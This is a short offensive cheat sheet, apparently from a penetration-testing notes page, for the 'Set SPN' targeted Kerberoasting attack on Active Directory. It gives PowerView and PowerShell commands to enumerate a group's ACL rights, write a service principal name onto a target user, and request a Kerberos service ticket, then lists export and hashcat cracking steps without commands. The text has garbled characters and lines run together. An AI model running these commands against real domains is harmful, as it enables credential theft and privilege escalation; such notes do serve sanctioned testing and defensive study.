π’Set SPN
Enumerate permissions for the group on ACL
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match β<groupname>β}
Invoke-ACLScanner -ResolveGUIDS | Where-Object {$_.IdentityReference -match β<groupname>β} | select IdentityReference, ObjectDN, ActiveDirectoryRights | flCheck if the user has SPN
. ./Powerview_dev.ps1
Get-DomainUser -Identity <username> | select samaccountname, serviceprincipalnameGet-NetUser | Where-Object {$_.servicePrincipalName}Set SPN for the user
. ./PowerView_dev.ps1
Set-DomainObject -Identity <username> -Set @{serviceprincipalname=βops/whatever1β}Request a TGS
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ops/whatever1"Export ticket to disk for offline cracking
Request TGS hash for offline cracking hashcat
Crack the hash with hashcat
Last updated